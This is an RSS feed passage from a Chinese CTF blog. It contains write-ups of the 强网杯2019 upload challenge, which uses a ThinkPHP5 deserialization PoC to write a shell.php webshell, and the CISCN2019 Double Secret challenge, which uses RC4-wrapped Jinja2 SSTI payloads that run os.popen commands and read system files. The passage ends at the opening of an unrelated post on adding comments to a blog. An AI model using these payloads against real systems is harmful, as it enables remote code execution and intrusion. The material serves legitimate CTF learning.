&lt;p&gt;继续信息搜集 dirsearch 扫描发现&lt;a href=&quot;http://www.tar.gz%E6%96%87%E4%BB%B6%EF%BC%8Cdump&quot;&gt;www.tar.gz文件，dump&lt;/a&gt; 到本地来审计。发现有 .idea 目录(.idea 是 IntelliJ IDEA 等 JetBrains 系列编辑器存放项目配置信息的目录，包含历史记录、版本控制信息等内容)，放在这里显然是个 hint，phpstrom 打开。是 ThinkPHP5 的框架，2019 年是爆过相关漏洞的，但尝试后发现漏洞条件不存在。对整个项目粗扫一遍，发现在 application/web/controller/Register.php 的 __destruct 函数和 application/web/controller/Index.php 的 login_check 函数下有两个断点。&lt;/p&gt;
&lt;p&gt;这两个代码位置显然是程序运行过程中对用户信息进行处理的关键节点，所以我们的审计思路是查找这个节点的信息以及信息的来源和去向。&lt;/p&gt;
&lt;h3&gt;节点信息&lt;/h3&gt;
&lt;p&gt;本地启动监听截取一下 __destruct 这个函数断点中内容，猜测是检查数据库中是否存在该用户数据。如果registed == false，则调用 $checker-&amp;gt;index()。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d0bf441ea36249956a4c.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;本地启动监听截取一下 login_check 这个函数断点中内容。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;profile=unserialize(base64_decode($profile));
YTo1OntzOjI6IklEIjtpOjM7czo1OiJlbWFpbCI7czoxMToicGluZUBxcS5jb20iO3M6ODoidXNlcm5hbWUiO3M6MTE6InBpbmVAcXEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjMyOiIxNWRjOGJlZDRlMzgwYTI2MWI3Nzk0NzY5Yjk3YTc0ZCI7czozOiJpbWciO3M6MDoiIjt9
base64解码 --&amp;gt; a:5:{s:2:&amp;quot;ID&amp;quot;;i:1;s:5:&amp;quot;email&amp;quot;;s:10:&amp;quot;www@11.com&amp;quot;;s:8:&amp;quot;username&amp;quot;;s:3:&amp;quot;www&amp;quot;;s:8:&amp;quot;password&amp;quot;;s:32:&amp;quot;4eae35f1b35977a00ebd8086c259d4c9&amp;quot;;s:3:&amp;quot;img&amp;quot;;s:79:&amp;quot;../upload/f528764d624db129b32c21fbca0cb8d6/4efdd2f969559e8b1c92e99f32ded48e.png&amp;quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现调用了 unserialize 反序列化函数和 base64 解码函数对&lt;code&gt;$profile&lt;/code&gt; 进行处理，&lt;code&gt;$profile&lt;/code&gt;是定义在login_check 方法下的变量，该变量来源于我们 cookie 中的 user 字段。__destruct 和 unserialize 都是 php 反序列化相关的内容，此处先记下。&lt;/p&gt;
&lt;h3&gt;信息来源&lt;/h3&gt;
&lt;p&gt;因为有 unserialize 就肯定有 serialize，我们通过查找这个函数并逐一排查是否与 user 相关找到 user 这个 cookie 的来源。&lt;/p&gt;
&lt;p&gt;一个是 application/web/controller/login.php，登录成功后将数据库查到的 user_info 序列化返回。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d0eb441ea36249956aee.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;一个是 application/web/controller/profile.php，更新头像后对 user_info 更新头像路径字段后序列化返回。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d0f7441ea36249956b15.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;此处如何知道 cookie 的来源作用呢？可以在此下断点的查看 user_info 的序列化内容，并结合代码猜测。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d106441ea36249956b35.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h3&gt;信息去向&lt;/h3&gt;
&lt;p&gt;现在我们知道 cookie 的来源了，下一步是查找它的去向，全局查找 login_check 函数的调用点，发现 application/web/controller/ 下均调用了，也就是我们需要审计的文件。&lt;/p&gt;
&lt;h3&gt;关键点审计&lt;/h3&gt;
&lt;p&gt;将这四个文件粗扫一遍，发现 application/web/controller/下 php 文件中还包含反序列化相关的函数，发现了__construct，__get 和__call 三个 php 常见反序列化的函数，特别是profile.php 同时有详细定义的三个反序列化常见函数。还记得我们之前记下的 php 反序列化的点么，我们也可以尝试看看有没有反序列化相关的漏洞。&lt;/p&gt;
&lt;p&gt;以__destruct 为入口函数，正常应该是registed 为 False 进入函数，调用 checker（也就是 Index 类的实例）的 index () 方法。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;    public function __destruct()
    {
        if(!$this-&amp;gt;registed){
            $this-&amp;gt;checker-&amp;gt;index();
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时我们在application/web/controller/ 下的四个文件中除了 index.php 外没有发现其他定义 index.php 的地方，但是我们在profile.php 文件下发现 __call( ) 方法的相关定义。__call( )方法允许我们在对象中调用一个不可访问的方法时调用该方法，也就是说如果我们将 checker 设置为 Profile 类的实例，即可通过调用 Profile 实例中不存在的 index 方法调用 __call 方法。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;public function __call($name, $arguments)
    {
        if($this-&amp;gt;{$name}){
            $this-&amp;gt;{$this-&amp;gt;{$name}}($arguments);
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;__call 方法会检查当前对象是否存在属性 &lt;code&gt;$name&lt;/code&gt;（即属性名与被调用的方法名相同）。例如，调用 test() 时，检查是否有 &lt;code&gt;$this-&amp;gt;test&lt;/code&gt; 属性。如果 &lt;code&gt;$this-&amp;gt;{$name}&lt;/code&gt; 存在且为非空时，则获取该属性的值（假设为 &lt;code&gt;$method&lt;/code&gt;），并调用当前对象的 &lt;code&gt;$method&lt;/code&gt; 方法，同时将 &lt;code&gt;$arguments&lt;/code&gt; 作为参数传入。
我们是通过调用不存在的 index 方法调用到的 __call 方法，所以此时我们的调用方法应该是 index()，因而 __call 会检查当前对象也就是我们设置的 Profile 类实例是否存在 &lt;code&gt;$index&lt;/code&gt; 这个属性，这里显然是不存在的。&lt;/p&gt;
&lt;p&gt;此时就达成了访问不可访问的属性这一行为，会调用 Profile 类实例中的 __get( ) 方法，因为没有&lt;code&gt;$this-&amp;gt;index&lt;/code&gt;，所以会触发 __get(&amp;#39;index&amp;#39;)。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt; public function __get($name)//$name=&amp;#39;index&amp;#39;
    {
        return $this-&amp;gt;except[$name];
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此我们可以令Profile 类实例中属性&lt;code&gt;$except=array(&amp;quot;index&amp;quot;=&amp;gt;&amp;quot;Profile 类中的函数 XXX&amp;quot;);&lt;/code&gt; 从而使得对象变为&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;return $this-&amp;gt;except[$name];
return $this-&amp;gt;except=[&amp;#39;index&amp;#39; =&amp;gt; &amp;#39;xxxx&amp;#39;]
// $this-&amp;gt;{$this-&amp;gt;except[&amp;#39;index&amp;#39;]}()
// ==&amp;gt;
// $this-&amp;gt;XXXX()
//PHP 中，$arr=[&amp;#39;a&amp;#39;] 等价于 $arr[0]=&amp;#39;a&amp;#39;（默认数字索引），而非 $arr[&amp;#39;index&amp;#39;]=&amp;#39;a&amp;#39;；
//只有显式指定 &amp;#39;index&amp;#39; =&amp;gt; &amp;#39;xxxx&amp;#39;，才会把index作为键、xxxx作为值。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进而实现Profile 类实例中函数任意调用。那么我们应该尝试调用哪个函数呢，直觉猜测应该是upload_img，因为这个函数调用了login_check 、update_img、ext_check 函数，而update_img 函数调用了update_cookie 函数。&lt;/p&gt;
&lt;p&gt;整个 profile 类处理逻辑是，创建基于用户 IP 的 MD5 值命名的上传目录；验证用户登录状态，未登录则重定向至首页；处理文件上传，如果 &lt;code&gt;empty($_FILES)&lt;/code&gt;为假也就是&lt;code&gt;$_FILES&lt;/code&gt; 不为空，则获取临时文件路径赋值给filename_tmp；通过对上传文件的原始名称进行 MD5 加密，并拼接.png扩展名，生成要保存的文件名filename；随后调用ext_check()方法检查文件扩展名是否为 png ，将ext 设置为文件后缀名。之后通过 getimagesize 验证是否为图片，复制 filename_tmp 到 filename，删除filename_tmp；更新数据库中用户的图片路径信息，并同步更新存储用户信息的 cookie；&lt;/p&gt;
&lt;p&gt;我们之前尝试的上传.htaccess 文件尝试绕过 png 后缀解析失败了，但是如果我们可以在这里控制最后的文件后缀名的话就可以将我们上传的 png 文件变成 php 文件了。这里也反向说明我们要调用upload_img。&lt;/p&gt;
&lt;p&gt;总结我们的调用链如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;cookie -&amp;gt; base64decode -&amp;gt; unserialize
-&amp;gt; Register::__destruct() //checker -&amp;gt; Profile()
-&amp;gt; Profile::__call() //$name = index
-&amp;gt; Profile::__get() //except[&amp;#39;index&amp;#39;]=&amp;#39;upload_img&amp;#39;
-&amp;gt; Profile::upload_img()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;本地测试&lt;/h3&gt;
&lt;p&gt;审计差不多了，我们尝试打一下 poc，目的是调用 &lt;code&gt;@cwdopy($this-&amp;gt;filename_tmp, $this-&amp;gt;filename);&lt;/code&gt;改我们的图片马的文件名。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
namespace app\web\controller;//这里必须要有，因为反序列化要知道需要实例化的对象是哪个类。

class Register 
{   public $checker;//profile()实例
    public $registed;//false
    public function __destruct()//篇幅原因删了点空格，属性和方法都没改
    {
        if(!$this-&amp;gt;registed){$this-&amp;gt;checker-&amp;gt;index();}
    }
}
class Profile
{
    public $checker;//这里我们没设置值，所以进入Profile实例调用if($this-&amp;gt;checker)会因为null而直接跳过
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
    public function __get($name)
    {return $this-&amp;gt;except[$name];}
    public function __call($name, $arguments)
    {if($this-&amp;gt;{$name}){$this-&amp;gt;{$this-&amp;gt;{$name}}($arguments);}}
}

$profile = new Profile();
$profile -&amp;gt; except = [&amp;#39;index&amp;#39; =&amp;gt; &amp;#39;upload_img&amp;#39;];
$profile-&amp;gt;filename_tmp = &amp;quot;./upload/f528764d624db129b32c21fbca0cb8d6/16c3b33330a33f4162210be93afcfb5a.png&amp;quot;;
$profile-&amp;gt;filename = &amp;quot;./upload/f528764d624db129b32c21fbca0cb8d6/shell.php&amp;quot;;

$register = new Register();
$register-&amp;gt;registed = FALSE;
$register-&amp;gt;checker = $profile;

echo urlencode(base64_encode(serialize($register)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 profile 类中所有 if 和与其属性相关的代码打上断点，更新 cookie 查看运行情况，发现顺利进入profile 类，但是在ext 处断掉，页面提示不能将Register 做为一个数组。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d19d441ea36249956cda.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;正常上传图片可以查看到 ext 属性正常的值。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1ab441ea36249956cf8.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;将 ext 设置为 png 后重试，发现正常通过 ext 这个断点，其实此时就可以通 buu 的远程了，但是我们本地调试断在&lt;code&gt;getimagesize($this-&amp;gt;filename_tmp)&lt;/code&gt;。getimagesize()函数获取一个图片的尺寸和文件类型，它接受图片文件的路径作为参数，并返回一个包含图片宽度、高度、类型以及MIME类型的数组。这里是因为我们本地是 windows 系统，tp 路径配置有错误，filename_tmp 没接收到，简短粗暴直接把文件换成绝对路径就好了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
namespace app\web\controller;//这里必须要有，因为反序列化要知道需要实例化的对象是哪个类。

class Register 
{   public $checker;//profile()实例
    public $registed;//false
    public function __destruct()
    {
        if(!$this-&amp;gt;registed){$this-&amp;gt;checker-&amp;gt;index();}
    }
}
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
    public function __get($name)
    {return $this-&amp;gt;except[$name];}
    public function __call($name, $arguments)
    {if($this-&amp;gt;{$name}){$this-&amp;gt;{$this-&amp;gt;{$name}}($arguments);}}
}

$profile = new Profile();
$profile -&amp;gt; except = [&amp;#39;index&amp;#39; =&amp;gt; &amp;#39;upload_img&amp;#39;];
$profile-&amp;gt;ext = &amp;quot;png&amp;quot;;
$profile-&amp;gt;filename_tmp = &amp;quot;E:/phpstudy_pro/upload/tp5/f528764d624db129b32c21fbca0cb8d6/e04b7fb2d790bed075a90916ecd43ff1.png&amp;quot;;
$profile-&amp;gt;filename = &amp;quot;E:/phpstudy_pro/upload/tp5/f528764d624db129b32c21fbca0cb8d6/shell.php&amp;quot;;

$register = new Register();
$register-&amp;gt;registed = FALSE;
$register-&amp;gt;checker = $profile;

echo urlencode(base64_encode(serialize($register)));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;答疑&lt;/h2&gt;
&lt;h3&gt;为什么有些 exp 的 ext 为 1&lt;/h3&gt;
&lt;p&gt;我们直接拿 poc 打，可见当上传文件时候 &lt;code&gt;$_FILES&lt;/code&gt; 才会有值，这里的 &lt;code&gt;$_FILES&lt;/code&gt; 是和 &lt;code&gt;$_POST&lt;/code&gt; 差不多的用途。与是不是第一次上传无关。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1c2441ea36249956d26.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1cc441ea36249956d3b.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们反序列化的时候因为没有传文件上去所以&lt;code&gt;$_FILES&lt;/code&gt; 是空的，不会执行下面的指令，就跳过了原函数对 filename 和 filename_tmp 的设置以及调用 ext_check()检查。也就是说无所谓 ext 是不是 png。但是下面&lt;code&gt;$this -&amp;gt;ext&lt;/code&gt; 必须为真，不然不能执行 copy 等指令。&lt;/p&gt;
&lt;h3&gt;为什么有些 exp 会设置$checker 为 0&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1d9441ea36249956d54.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;调用 upload_img 时候会检查 checker 是否存在，设置为 0 可以跳过 if 判断进入，这里本文是直接为 null。&lt;/p&gt;
&lt;h3&gt;为什么有些 exp 要将except=[&amp;#39;index&amp;#39; =&amp;gt; &amp;#39;img&amp;#39;]&lt;/h3&gt;
&lt;p&gt;不知，笔者感觉可能多此一举，直接将 index 设置为 upload_img 就已经可以达成调用函数的目的了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt; public function __get($name)//$name=&amp;#39;index&amp;#39;
    {
        return $this-&amp;gt;except[$name];
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;except 在源码中本质上是一个数组，在实际调用中，&lt;code&gt;$except=[&amp;#39;a&amp;#39;]&lt;/code&gt; 等价于 &lt;code&gt;$except[0]=&amp;#39;a&amp;#39;&lt;/code&gt;（默认数字索引），而非 &lt;code&gt;$except[&amp;#39;index&amp;#39;]=&amp;#39;a&amp;#39;&lt;/code&gt;；只有显式指定 &lt;code&gt;&amp;#39;index&amp;#39; =&amp;gt; &amp;#39;xxxx&amp;#39;&lt;/code&gt;，才会把index作为键、xxxx作为值。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1e9441ea36249956d86.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d1fd441ea36249956dc9.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/%E5%BC%BA%E7%BD%91%E6%9D%AF2019upload/&quot;&gt;http://pinesawfly.top/blog/%E5%BC%BA%E7%BD%91%E6%9D%AF2019upload/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Tue, 20 May 2025 16:00:00 GMT</pubDate></item><item><title>CISCN2019 华东南赛区 Double Secret</title><link>http://pinesawfly.top/blog/ciscn2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAdouble-secret/</link><guid isPermaLink="true">http://pinesawfly.top/blog/ciscn2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAdouble-secret/</guid><description>刷题记录</description><content:encoded>&lt;h2&gt;[CISCN2019 华东南赛区]Double Secret&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/693ecd7a696670b0b659d16e.png&quot; alt=&quot;Alt&quot;&gt;&lt;/p&gt;
&lt;p&gt;看完直接信息搜集&lt;/p&gt;
&lt;p&gt;出了一个secret，直接访问，提示传一个secret，对面会编码它&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;
/secret?secret=1                        d
/secret?secret=14aw                     d[XB
/secret?secret=12345                    报错了，python的debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个debug就很有可玩的点了，计算pin码，源码泄露&lt;/p&gt;
&lt;p&gt;可以看到的信息有&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/693ecdde696670b0b659d1c6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;展开/app/app.py这个源码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;File &amp;quot;/app/app.py&amp;quot;, line 35, in secret
    if(secret==None):
        return &amp;#39;Tell me your secret.I will encrypt it so others can\&amp;#39;t see&amp;#39;
    rc=rc4_Modified.RC4(&amp;quot;HereIsTreasure&amp;quot;)   #解密
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))
    if &amp;#39;ciscn&amp;#39; in a.lower():
        return &amp;#39;flag detected!&amp;#39;
      return a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个rc4加密，如果secret为空就返回&lt;code&gt;Tell me your secret.I will encrypt it so others can\&amp;#39;t see&lt;/code&gt;不为空就调用safe处理rc4编码后的值，返回字符串给a，如果a的小写包含ciscn则返回flag被删了，其余返回a，这里把rce的密钥也暴露出来了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;jinjia的payload
#展示路径下的文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==&amp;#39;catch_warnings&amp;#39; %}{{c.__init__.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;__import__&amp;#39;](&amp;#39;os&amp;#39;).listdir(&amp;#39;/&amp;#39;)}}{% endif %}{% endfor %}

#读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==&amp;#39;catch_warnings&amp;#39; %}{{ c.__init__.__globals__[&amp;#39;__builtins__&amp;#39;].eval(&amp;quot;__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag.txt&amp;#39;).read()&amp;quot;)}}{% endif %}{% endfor %}

{{cycler.next.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;nl /*&amp;#39;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;锤锤AI拿个RC4加密脚本，我们知道，要将payload加密以后才能传参过去。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def initialize_rc4_key(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_encrypt(key, plaintext):
    S = initialize_rc4_key(key)
    i = j = 0
    ciphertext = []
    for char in plaintext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        ciphertext.append(chr(ord(char) ^ k))
    return &amp;#39;&amp;#39;.join(ciphertext)

def main():
    key = input(&amp;quot;请输入密钥: &amp;quot;)
    plaintext = input(&amp;quot;请输入要加密的字符串: &amp;quot;)
    encrypted_text = rc4_encrypt(key, plaintext)
    print(&amp;quot;加密后的字符串: &amp;quot;, encrypted_text)

if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ok，接下来我们玩点骚的，继续锤AI，在本地flask起一个，POST交data，rc4加密后发给题目的url，将题目url回显到本地。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, request, jsonify
import urllib.parse
import requests

app = Flask(__name__)

# RC4加密算法
def rc4_encrypt(key, data):
    S = list(range(256))
    j = 0
    out = []
    # 初始化S盒
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    # 生成密钥流并加密
    i = j = 0
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
    return &amp;#39;&amp;#39;.join(out)

@app.route(&amp;#39;/&amp;#39;, methods=[&amp;#39;POST&amp;#39;, &amp;#39;GET&amp;#39;])
def handle_request():
    if request.method == &amp;#39;POST&amp;#39;:
        # 获取POST请求中的数据
        data = request.form.get(&amp;#39;data&amp;#39;)
        if data:
            # 使用RC4加密数据
            encrypted_data = rc4_encrypt(&amp;#39;HereIsTreasure&amp;#39;, data)
            # 构造GET请求的URL
            url = f&amp;#39;http://8bac6987-76e0-4569-8a95-5e53c13fb530.node5.buuoj.cn:81/secret?secret={urllib.parse.quote(encrypted_data)}&amp;#39;
            # 发送GET请求
            response = requests.get(url)
            # 返回GET请求的响应内容
            return response.text, response.status_code
        else:
            return jsonify({&amp;#39;status&amp;#39;: &amp;#39;error&amp;#39;, &amp;#39;message&amp;#39;: &amp;#39;No data provided&amp;#39;}), 400
    elif request.method == &amp;#39;GET&amp;#39;:
        # 获取GET请求中的secret参数
        secret = request.args.get(&amp;#39;secret&amp;#39;)
        if secret:
            # 处理GET请求（根据实际情况添加处理逻辑）
            # 这里我们只是返回接收到的secret
            return f&amp;#39;Received secret: {secret}&amp;#39;, 200
        else:
            return &amp;#39;No secret provided&amp;#39;, 200

if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=80, debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就是常见的SSTI了，直接上fenjing梭哈就完了，查看app.py的时候发现报错了，应该是python2的原因，也可以用反弹shell，计算pin码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;data={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==&amp;#39;catch_warnings&amp;#39; %}{{ c.__init__.__globals__[&amp;#39;__builtins__&amp;#39;].open(&amp;#39;/sys/class/net/eth0/address&amp;#39;,&amp;#39;r&amp;#39;).read() }}{% endif %}{% endfor %}
92:ab:45:07:68:11
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#This .py gives flask ssti loophole
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
import rc4_Modified

app=Flask(__name__)

@app.route(&amp;#39;/&amp;#39;)
def hello():
    return &amp;#39;Welcome To Find Secret&amp;#39;

@app.route(&amp;#39;/robots.txt&amp;#39;)
def robots():
    return &amp;#39;It is Android ctf&amp;#39;

@app.route(&amp;#39;/secret&amp;#39;,methods=[&amp;#39;GET&amp;#39;,&amp;#39;POST&amp;#39;])
def secret():
    def safe(s):
        black=[&amp;#39;class&amp;#39;,&amp;#39;mro&amp;#39;,&amp;#39;subclasses&amp;#39;,&amp;#39;read&amp;#39;,&amp;#39;args&amp;#39;,&amp;#39;form&amp;#39;,&amp;#39;write&amp;#39;, &amp;#39;mro&amp;#39;,  &amp;#39;&amp;lt;&amp;#39;, &amp;#39;&amp;gt;&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;join&amp;#39; &amp;#39;os&amp;#39;, &amp;#39;sys&amp;#39;, &amp;#39;pop&amp;#39;, &amp;#39;del&amp;#39;, &amp;#39;rm&amp;#39;, &amp;#39;eval&amp;#39;, &amp;#39;exec&amp;#39;, &amp;#39;ls&amp;#39;, &amp;#39;cat&amp;#39;, &amp;#39;;&amp;#39;, &amp;#39;&amp;amp;&amp;amp;&amp;#39;, &amp;#39;catch_warnings&amp;#39;, &amp;#39;func_globals&amp;#39;, &amp;#39;pickle&amp;#39;, &amp;#39;import&amp;#39;, &amp;#39;subprocess&amp;#39;, &amp;#39;commands&amp;#39;, &amp;#39;input&amp;#39;, &amp;#39;execfile&amp;#39;, &amp;#39;reload&amp;#39;, &amp;#39;compile&amp;#39;, &amp;#39;execfile&amp;#39;, &amp;#39;kill&amp;#39;, &amp;#39;func_code&amp;#39; ]
        for i in black:
            if i in s:
                return &amp;#39;\&amp;#39;&amp;#39;+i+&amp;#39;\&amp;#39; is not allowed. Secret is &amp;#39;+s
        return s
    secret=request.args.get(&amp;#39;secret&amp;#39;)
    if(secret==None):
        return &amp;#39;Tell me your secret.I will encrypt it so others can\&amp;#39;t see&amp;#39;
    rc=rc4_Modified.RC4(&amp;quot;HereIsTreasure&amp;quot;)   #解密
    deS=rc.do_crypt(secret)

    a=render_template_string(safe(deS))

    if &amp;#39;ciscn&amp;#39; in a.lower():
        return &amp;#39;flag detected!&amp;#39;
    return a

if __name__==&amp;#39;__main__&amp;#39;:
    app.run(
        debug=True,
        host=&amp;quot;0.0.0.0&amp;quot;
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding: utf-8 -*-
class RC4:
    def __init__(self,public_key = None):
        if not public_key:
            public_key = &amp;#39;none_public_key&amp;#39;
        self.public_key = public_key
        self.index_i = 0
        self.index_j = 0
        self._init_box()

    def _init_box(self):
        &amp;quot;&amp;quot;&amp;quot;
        初始化 置换盒
        &amp;quot;&amp;quot;&amp;quot;
        self.Box = [i for i in range(256)]
        key_length = len(self.public_key)
        j = 0
        for i in range(256):
            index = ord(self.public_key[(i % key_length)])
            j = (j + self.Box[i] + index ) % 256
            self.Box[i],self.Box[j] = self.Box[j],self.Box[i]
        # for i in range(256):

    def do_crypt(self,string):
        &amp;quot;&amp;quot;&amp;quot;
        加密/解密
        string : 待加/解密的字符串
        &amp;quot;&amp;quot;&amp;quot;

        out = []
        test=[]
        #print(len(string))
        for s in string:
            self.index_i = (self.index_i + 1) % 256
            self.index_j = (self.index_j + self.Box[self.index_i]) % 256
            self.Box[self.index_i], self.Box[self.index_j] = self.Box[self.index_j],  self.Box[self.index_i]

            r = (self.Box[self.index_i] + self.Box[self.index_j]) % 256
            R = self.Box[r] # 生成伪随机数
            tmp=ord(s)^R
            test.append(tmp)
            out.append(chr(tmp))
        #print(test)
        #print(len(test))
        return &amp;#39;&amp;#39;.join(out)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/ciscn2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAdouble-secret/&quot;&gt;http://pinesawfly.top/blog/ciscn2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAdouble-secret/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Sun, 27 Apr 2025 16:00:00 GMT</pubDate></item><item><title>Adding Comment Systems to Frosti</title><link>http://pinesawfly.top/blog/adding-comment-systems/</link><guid isPermaLink="true">http://pinesawfly.top/blog/adding-comment-systems/</guid><description>A comprehensive guide on how to integrate the Waline comment system into your Frosti blog</description><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;One of the essential features of any blog is the ability for readers to engage with your content through comments. While Frosti provides an excellent foundation for your Astro-based blog, adding a comment system requires a few additional steps. This guide will walk you through integrating the Waline comment system into your Frosti blog.&lt;/p&gt;
&lt;p&gt;Static sites like those built with Astro don&amp;#39;t have built-in comment systems since they lack server-side processing. However, we can use third-party comment services that handle the backend for us, while we integrate their frontend components into our site.&lt;/p&gt;
&lt;h2&gt;Creating Comment Components in Astro&lt;/h2&gt;
&lt;p&gt;Before diving into a specific comment system, let&amp;#39;s understand how to create and use components in Astro. We&amp;#39;ll create a reusable component that can be easily added to any page.&lt;/p&gt;
&lt;h3&gt;Component Structure&lt;/h3&gt;
&lt;p&gt;We&amp;#39;ll create our comment component in the &lt;code&gt;src/components/comments&lt;/code&gt; directory. First, let&amp;#39;s ensure this directory exists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir -p src/components/comments
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Integrating Waline&lt;/h2&gt;
